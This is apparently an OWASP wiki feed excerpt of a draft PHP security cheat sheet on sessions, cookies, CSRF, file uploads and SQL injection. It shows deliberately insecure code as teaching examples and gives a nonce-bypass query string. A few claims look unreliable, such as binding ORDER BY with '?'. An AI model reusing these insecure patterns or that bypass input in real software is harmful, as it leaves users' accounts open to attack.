* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184330</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184330"/>
				<updated>2014-10-30T08:20:25Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* OLD. PHP General Guidelines for Secure Web Applications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
